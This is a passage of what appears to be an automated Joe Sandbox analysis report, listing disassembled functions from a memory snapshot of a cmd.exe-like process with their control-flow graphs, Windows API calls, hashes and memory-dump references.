                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: ConsoleMode_get_osfhandle
                                                                                                                                                                                                                                  • String ID: CMD.EXE
                                                                                                                                                                                                                                  • API String ID: 1606018815-3025314500
                                                                                                                                                                                                                                  • Opcode ID: 5e6c9defb706955d69a9f44e1eb5114a947b2505e188e6c17b0d751d42ecca7e
                                                                                                                                                                                                                                  • Instruction ID: 1034b43c173ea7d2eeda55b3cd4d1fff4f16163363135642c58463f4bb3168e2
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 5e6c9defb706955d69a9f44e1eb5114a947b2505e188e6c17b0d751d42ecca7e
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: E3216BB0A00310AFD7145FB8BC1EB663B24AF40757B484628F916D63E4DAA5D8548B72
                                                                                                                                                                                                                                  Function 00D159C0 Relevance: 15.3, APIs: 10, Instructions: 270COMMON
                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                  control_flow_graph 565 d159c0-d159e2 566 d159f4-d15a36 memset call d1e3f0 565->566 567 d159e4-d159ee call d20b12 565->567 573 d29a3a-d29a3d 566->573 574 d15a3c-d15a41 566->574 567->566 572 d29a27-d29a35 call d178e4 567->572 586 d15a90-d15a9e call d26b30 572->586 578 d29a50 573->578 575 d15a47-d15a5b GetFullPathNameW 574->575 576 d29a3f 574->576 580 d15a61-d15a66 575->580 581 d29a4a GetLastError 575->581 576->581 579 d29a52-d29a53 578->579 583 d29a54-d29a5a call d178e4 579->583 584 d29a60-d29a6f call d178e4 580->584 585 d15a6c-d15a78 CreateDirectoryW 580->585 581->578 583->584 594 d29a76-d29a82 call d178e4 584->594 590 d15aa1-d15aac GetLastError 585->590 591 d15a7a-d15a84 585->591 593 d15ab2-d15ab5 590->593 590->594 597 d15a86-d15a8d ??_V@YAXPAX@Z 591->597 598 d15a8e 591->598 593->579 599 d15abb-d15ac2 593->599 605 d29a8a 594->605 597->598 598->586 601 d15ac8-d15acf 599->601 602 d15b8b-d15b8e 599->602 604 d15ad5-d15adf 601->604 601->605 602->583 606 d29aa0-d29aa4 604->606 607 d15ae5-d15ae9 604->607 608 d29a95 605->608 609 d29aa6 606->609 610 d29aac-d29aaf 606->610 607->608 611 d15aef-d15af2 607->611 608->606 609->610 610->602 612 d29ab5-d29ab9 610->612 613 d15b35 611->613 615 d29ac1-d29ac5 612->615 616 d29abb 612->616 614 d15b3b-d15b41 613->614 617 d15b43-d15b49 614->617 618 d15b68-d15b6a 614->618 615->602 619 d29acb-d29acf 615->619 616->615 620 d15af4-d15af6 617->620 621 d15b4b-d15b5c 617->621 622 d15b83-d15b89 618->622 623 d15b6c-d15b78 CreateDirectoryW 618->623 624 d29ad1 619->624 625 d29ad7-d29ae8 619->625 628 d15af7-d15b01 620->628 621->617 626 d15b5e-d15b64 621->626 622->623 623->591 627 d15b7e 623->627 624->625 629 d29b17-d29b1a 625->629 630 d29aea-d29af0 625->630 626->614 633 d15b66 626->633 634 d29b7c-d29b87 GetLastError 627->634 635 d29b71 628->635 636 d15b07-d15b11 CreateDirectoryW 628->636 631 d29b27-d29b2d 629->631 632 d29b1c-d29b25 629->632 637 d29af1-d29af6 630->637 631->618 638 d29b33-d29b37 631->638 632->631 633->628 634->591 639 d29b8d 634->639 635->634 640 d15b20-d15b32 636->640 641 d15b13-d15b1e GetLastError 636->641 642 d29af8-d29b0d 637->642 643 d29b0f-d29b15 637->643 644 d29b38-d29b3d 638->644 639->579 640->613 641->602 641->640 642->637 642->643 643->629 645 d29b56-d29b61 644->645 646 d29b3f-d29b54 644->646 645->618 647 d29b67-d29b6a 645->647 646->644 646->645 647->635
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D15A10
                                                                                                                                                                                                                                  • GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,-00000001), ref: 00D15A53
                                                                                                                                                                                                                                  • CreateDirectoryW.KERNELBASE(?,00000000), ref: 00D15A70
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(?), ref: 00D15A87
                                                                                                                                                                                                                                    • Part of subcall function 00D20B12: GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0(?), ref: 00D20B40
                                                                                                                                                                                                                                  • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00D15AA1
                                                                                                                                                                                                                                  • CreateDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0(?,00000000), ref: 00D15B09
                                                                                                                                                                                                                                  • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00D15B13
                                                                                                                                                                                                                                  • CreateDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0(?,00000000), ref: 00D15B70
                                                                                                                                                                                                                                  • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00D29B7C
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: CreateDirectoryErrorLast$DriveFullNamePathTypememset
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 402963468-0
                                                                                                                                                                                                                                  • Opcode ID: 2c35f3d48eff899f8872f47c8c479f4ddf95af16ccad78266f9e968423c4a3fa
                                                                                                                                                                                                                                  • Instruction ID: 867ffcd22b735ceb060eaed770791605a96ece70077f1ffe7d43d2b6c99c02bc
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2c35f3d48eff899f8872f47c8c479f4ddf95af16ccad78266f9e968423c4a3fa
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: BE91F531A00726EBEB24DB65F895BBBB7B4EF98314F0840A5E509D7180EB749D80C770
                                                                                                                                                                                                                                  Function 00D26903 Relevance: 10.6, APIs: 7, Instructions: 105sleepCOMMON
                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                  control_flow_graph 648 d26903-d2691d call d271a8 651 d2691f-d2692e 648->651 652 d26930-d26932 651->652 653 d26948-d2694a 651->653 654 d26934-d26939 652->654 655 d2693b-d26946 Sleep 652->655 656 d2694b-d26951 653->656 654->656 655->651 657 d26953-d2695b _amsg_exit 656->657 658 d2695d-d26963 656->658 659 d26997-d2699d 657->659 660 d26991 658->660 661 d26965-d2697e call d26a7c 658->661 663 d269ba-d269bc 659->663 664 d2699f-d269b0 _initterm 659->664 660->659 661->659 668 d26980-d2698c 661->668 666 d269c7-d269ce 663->666 667 d269be-d269c5 663->667 664->663 669 d269f3-d26a05 call d209b1 666->669 670 d269d0-d269dd call d27000 666->670 667->666 672 d26a6c-d26a7b 668->672 674 d26a0a-d26a19 669->674 670->669 678 d269df-d269f1 670->678 676 d26a51-d26a58 674->676 677 d26a1b-d26a35 exit _XcptFilter 674->677 679 d26a65 676->679 680 d26a5a-d26a60 _cexit 676->680 678->669 679->672 680->679
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • Sleep.API-MS-WIN-CORE-SYNCH-L1-2-0(000003E8,00D3CA98,0000000C), ref: 00D26940
                                                                                                                                                                                                                                  • _amsg_exit.MSVCRT ref: 00D26955
                                                                                                                                                                                                                                  • _initterm.MSVCRT ref: 00D269A9
                                                                                                                                                                                                                                  • __IsNonwritableInCurrentImage.LIBCMT ref: 00D269D5
                                                                                                                                                                                                                                  • exit.MSVCRT ref: 00D26A1C
                                                                                                                                                                                                                                  • _XcptFilter.MSVCRT ref: 00D26A2E
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: CurrentFilterImageNonwritableSleepXcpt_amsg_exit_inittermexit
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 796493780-0
                                                                                                                                                                                                                                  • Opcode ID: c63561e9ce289927db8e9ca65156b9f37e917290c40835076b3c57f7f3048b18
                                                                                                                                                                                                                                  • Instruction ID: a06e626d529e27a74261d06a3ab4fa365aeca72f02b1394bbec81813a2853f46
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: c63561e9ce289927db8e9ca65156b9f37e917290c40835076b3c57f7f3048b18
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 213190759443219FEB219B64FD4676977A0EB58729F240129E605D73E0EF70D880CEB1
                                                                                                                                                                                                                                  Function 00D1E2AF Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 34threadlibraryloaderCOMMON
                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                  control_flow_graph 682 d1e2af-d1e2ba 683 d1e2ca-d1e2d2 682->683 684 d1e2bc-d1e2c9 SetThreadUILanguage 682->684 685 d1e2d4-d1e2ed GetModuleHandleW 683->685 686 d1e2ef-d1e2f1 683->686 685->686 688 d1e307-d1e309 685->688 687 d1e2f3-d1e301 GetProcAddress 686->687 686->688 687->688 688->684 690 d1e30b-d2dc0f SetThreadLocale 688->690
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • SetThreadUILanguage.KERNELBASE ref: 00D1E2C6
                                                                                                                                                                                                                                  • GetModuleHandleW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(KERNEL32.DLL,00000000,00D1B952), ref: 00D1E2D9
                                                                                                                                                                                                                                  • GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(76210000,SetThreadUILanguage,00000000,00D1B952), ref: 00D1E2F9
                                                                                                                                                                                                                                  • SetThreadLocale.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000409,00000000,00D1B952), ref: 00D2DC08
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Thread$AddressHandleLanguageLocaleModuleProc
                                                                                                                                                                                                                                  • String ID: KERNEL32.DLL$SetThreadUILanguage
                                                                                                                                                                                                                                  • API String ID: 1264603166-2530943252
                                                                                                                                                                                                                                  • Opcode ID: dd348b19bf819fffdda37676c91f2ae6abb1511cee022c4561ce1663bc70a596
                                                                                                                                                                                                                                  • Instruction ID: 436ed4e9bfffe465bab96cd6773c9cf5a946722e1703fc588dd27a3adea14210
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: dd348b19bf819fffdda37676c91f2ae6abb1511cee022c4561ce1663bc70a596
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 04F03A31900730ABCA115B68BD58AD93B64EB16B32B190301FD26E77E0CB709CC1DAB6
                                                                                                                                                                                                                                  Function 00D1AD60 Relevance: 9.3, APIs: 6, Instructions: 328COMMON
                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                  control_flow_graph 692 d1ad60-d1adc0 GetConsoleTitleW 693 d2cc60 692->693 694 d1adc6-d1add8 call d25a2e 692->694 696 d2cc6a-d2cc73 GetLastError 693->696 699 d2cc3f 694->699 700 d1adde-d1adf1 call d1e3f0 694->700 698 d2cc4d call d178e4 696->698 705 d2cc52 698->705 704 d2cc49-d2cc4b 699->704 706 d1adf7-d1adff 700->706 707 d2cc55-d2cc5b call d261e6 700->707 704->698 705->707 708 d1ae05-d1ae1d call d1e950 706->708 709 d1b0b9-d1b0c3 call d20b12 706->709 707->693 715 d1ae23-d1ae26 708->715 716 d1b118-d1b11f call d221ee 708->716 709->704 717 d1b0c9-d1b0d6 call d17f47 709->717 715->707 719 d1ae2c-d1ae3e 715->719 732 d1b126-d1b12b call d22940 716->732 717->696 728 d1b0dc-d1b0f9 towupper 717->728 722 d1ae44-d1ae4c 719->722 723 d2cc7c-d2cc87 call d261e6 719->723 726 d1ae52-d1ae62 722->726 727 d2cc8e 722->727 723->727 729 d1ae68-d1ae76 726->729 730 d2cc99 726->730 727->730 731 d1b100-d1b109 728->731 734 d2cca4 729->734 735 d1ae7c-d1ae8b call d1bc30 729->735 730->734 731->731 736 d1b10b-d1b112 731->736 743 d1afc9-d1b005 call d1b17b call d261e6 call d26b30 732->743 744 d2ccaf 734->744 745 d1ae91-d1ae94 735->745 746 d1b006-d1b008 735->746 736->716 739 d2cc75-d2cc77 call d39a7d 736->739 739->723 748 d2ccb7-d2ccb9 744->748 750 d1ae96-d1aea3 call d1a800 745->750 751 d1aea9-d1aeab 745->751 746->745 749 d1b00e-d1b021 wcsncmp 746->749 753 d1af2d-d1af36 748->753 754 d2ccbf-d2ccc4 748->754 749->751 755 d1b027 749->755 750->707 750->751 757 d1af71-d1af7a call d1b1b0 751->757 758 d1aeb1-d1aeb5 751->758 760 d1b130-d1b135 753->760 761 d1af3c-d1af3e 753->761 754->753 755->745 777 d1af83-d1af97 757->777 778 d1af7c-d1af7e call d1ad26 757->778 763 d1af6b 758->763 764 d1aebb-d1aebd 758->764 760->761 769 d1b13b-d1b145 call d20b12 760->769 767 d1af44-d1af49 761->767 768 d1b16c-d1b170 761->768 763->757 770 d1aec0-d1aec9 764->770 774 d1af50-d1af59 767->774 768->767 773 d1b176-d2ccd6 768->773 793 d1b147-d1b14e 769->793 794 d1b198-d1b19c 769->794 770->770 776 d1aecb-d1aedd wcschr 770->776 790 d2ccdb-d2ccea call d178e4 773->790 774->774 783 d1af5b-d1af65 774->783 785 d1b033-d1b043 776->785 786 d1aee3-d1aee8 776->786 780 d1afc4 call d1aa50 777->780 781 d1af99-d1af9f 777->781 778->777 780->743 788 d1afa5-d1afab 781->788 789 d1b02c-d1b031 call d1c6c0 781->789 783->758 783->763 791 d1b046-d1b04f 785->791 786->748 795 d1aeee-d1aef4 786->795 796 d1afb1-d1afb7 788->796 797 d1b098-d1b09d call d19dc0 788->797 789->743 790->705 791->791 800 d1b051-d1b05b 791->800 801 d1b160-d1b167 793->801 802 d1b150-d1b15a call d17f47 793->802 794->790 795->748 803 d1aefa-d1af03 795->803 806 d1b0a2-d1b0a8 796->806 807 d1afbd-d1afc2 call d19770 796->807 797->743 810 d1b077-d1b07f 800->810 811 d1b05d 800->811 801->761 802->801 822 d2ccc9-d2ccd2 GetLastError 802->822 804 d1af05-d1af0a 803->804 814 d1af20-d1af22 804->814 815 d1af0c-d1af13 804->815 806->732 817 d1b0aa-d1b0b2 call d159a0 806->817 807->743 820 d1b193 call d26c78 810->820 821 d1b085-d1b08e 810->821 819 d1b060-d1b067 811->819 814->744 824 d1af28-d1af2a 814->824 815->814 823 d1af15-d1af1e 815->823 830 d1b0b4 817->830 827 d1b072-d1b075 819->827 828 d1b069-d1b071 819->828 820->794 821->797 822->790 823->804 823->814 824->753 827->810 827->819 828->827 830->743
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetConsoleTitleW.KERNELBASE(?,00000104,EF898DFC,00000001,?), ref: 00D1ADB6
                                                                                                                                                                                                                                    • Part of subcall function 00D25A2E: memset.MSVCRT ref: 00D25A5A
                                                                                                                                                                                                                                    • Part of subcall function 00D1E3F0: memset.MSVCRT ref: 00D1E455
                                                                                                                                                                                                                                  • towupper.MSVCRT ref: 00D1B0E3
                                                                                                                                                                                                                                    • Part of subcall function 00D1E950: memset.MSVCRT ref: 00D1E9A0
                                                                                                                                                                                                                                    • Part of subcall function 00D1E950: wcschr.MSVCRT ref: 00D1E9FC
                                                                                                                                                                                                                                    • Part of subcall function 00D1E950: wcschr.MSVCRT ref: 00D1EA14
                                                                                                                                                                                                                                    • Part of subcall function 00D1E950: _wcsicmp.MSVCRT ref: 00D1EA80
                                                                                                                                                                                                                                  • wcschr.MSVCRT ref: 00D1AED2
                                                                                                                                                                                                                                  • wcsncmp.MSVCRT ref: 00D1B016
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: wcschr.MSVCRT ref: 00D1BCA7
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: iswspace.MSVCRT ref: 00D1BD1D
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: wcschr.MSVCRT ref: 00D1BD39
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: wcschr.MSVCRT ref: 00D1BD5D
                                                                                                                                                                                                                                  • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,00007FE7), ref: 00D2CC6C
                                                                                                                                                                                                                                  • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000), ref: 00D2CCCB
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: wcschr$memset$ErrorLast$ConsoleTitle_wcsicmpiswspacetowupperwcsncmp
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 4198873954-0
                                                                                                                                                                                                                                  • Opcode ID: 1b2019baf168f0368888df5e5f9fec73174cb94bff80f85a931fef249aa4b941
                                                                                                                                                                                                                                  • Instruction ID: 026e4436db9f3282d30e14f5471645c64b751d561de94835659a610a02d243b6
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1b2019baf168f0368888df5e5f9fec73174cb94bff80f85a931fef249aa4b941
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: F4B11671A00321ABCB24AB2CF8957FA7260EF54314F194169E94A97291EF70DDC5C7B2
                                                                                                                                                                                                                                  Function 00D21F1A Relevance: 7.6, APIs: 5, Instructions: 52threadCOMMON
                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                  control_flow_graph 861 d21f1a-d21f33 GetConsoleOutputCP GetCPInfo 862 d2f185-d2f194 GetThreadLocale 861->862 863 d21f39-d21f54 memset 861->863 864 d2f196-d2f1a0 862->864 865 d2f1ae-d2f1b2 862->865 866 d2f1d7-d2f1d8 863->866 867 d21f5a 863->867 864->865 868 d2f1b4-d2f1b8 865->868 869 d2f1c8 865->869 870 d2f1dd-d2f1e2 866->870 868->869 871 d2f1ba 868->871 869->866 872 d2f1e4-d2f1ec 870->872 873 d2f20b-d2f20c 870->873 871->869 874 d2f203-d2f209 872->874 875 d2f1ee-d2f200 memset 872->875 874->870 874->873 875->874
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetConsoleOutputCP.KERNELBASE(00D20A41), ref: 00D21F1A
                                                                                                                                                                                                                                  • GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00D4C9F0), ref: 00D21F2B
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D21F45
                                                                                                                                                                                                                                  • GetThreadLocale.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00D2F185
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D2F1FB
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: memset$ConsoleInfoLocaleOutputThread
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 1263632223-0
                                                                                                                                                                                                                                  • Opcode ID: 33083cdf04e580d181c634afd81192c2d1d3c5a41a617e5e2592e8562a9727ad
                                                                                                                                                                                                                                  • Instruction ID: e1e74b8e75eb2841c91526835fae4977abe2f787625ea377226f52469c52866b
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 33083cdf04e580d181c634afd81192c2d1d3c5a41a617e5e2592e8562a9727ad
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2C11AFBA829372ABDB314F14FC06B613664EF31309F8C167AECD2E1394D36444818B3A
                                                                                                                                                                                                                                  Function 00D1E3F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON
                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                  control_flow_graph 883 d1e3f0-d1e403 884 d1e405-d1e41d call d26e25 883->884 885 d1e45d 883->885 888 d1e422-d1e427 884->888 887 d1e45f-d1e463 885->887 889 d2dc4a-d2dc66 call d334d4 888->889 890 d1e42d-d1e43b 888->890 889->887 891 d1e441-d1e44f 890->891 892 d2dc6b-d2dc72 ??_V@YAXPAX@Z 890->892 894 d1e451-d1e45a memset 891->894 895 d1e466-d1e468 891->895 894->885 895->894
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D1E455
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(?,00D15F21,-00000001), ref: 00D2DC6C
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  • onecore\base\cmd\maxpathawarestring.cpp, xrefs: 00D2DC57
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: memset
                                                                                                                                                                                                                                  • String ID: onecore\base\cmd\maxpathawarestring.cpp
                                                                                                                                                                                                                                  • API String ID: 2221118986-3416068913
                                                                                                                                                                                                                                  • Opcode ID: 54750065f47e90ba32fa861b8c9a124ffeffdb1490493c5107b15494b6e32ddd
                                                                                                                                                                                                                                  • Instruction ID: ef40ff13496009d24501f8c44526bc2fbdc1e38bd6c73cc6b66f089e0ef00d3d
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 54750065f47e90ba32fa861b8c9a124ffeffdb1490493c5107b15494b6e32ddd
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 8501F571704304BBD7284624BC0ABA7B3D9CF90310F14452DBC5AC7241DEA2EC8082B1
                                                                                                                                                                                                                                  Function 00D2742D Relevance: 4.5, APIs: 3, Instructions: 28COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • _callnewh.MSVCRT ref: 00D27437
                                                                                                                                                                                                                                    • Part of subcall function 00D274D1: ??0exception@@QAE@ABQBDH@Z.MSVCRT(00D277EC,00000001), ref: 00D274E7
                                                                                                                                                                                                                                  • malloc.MSVCRT ref: 00D27444
                                                                                                                                                                                                                                  • _CxxThrowException.MSVCRT(?,00D3CBF8), ref: 00D277F5
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: ??0exception@@ExceptionThrow_callnewhmalloc
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 813871643-0
                                                                                                                                                                                                                                  • Opcode ID: 81ec527580779f8ec8a6f0a9cc50a91d87be02e2eb6fda399d051c17b4030e24
                                                                                                                                                                                                                                  • Instruction ID: 2ec0cea103dc90060af533cc6ddc8c9f0347399cd87371b9e2562c8b02773a94
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 81ec527580779f8ec8a6f0a9cc50a91d87be02e2eb6fda399d051c17b4030e24
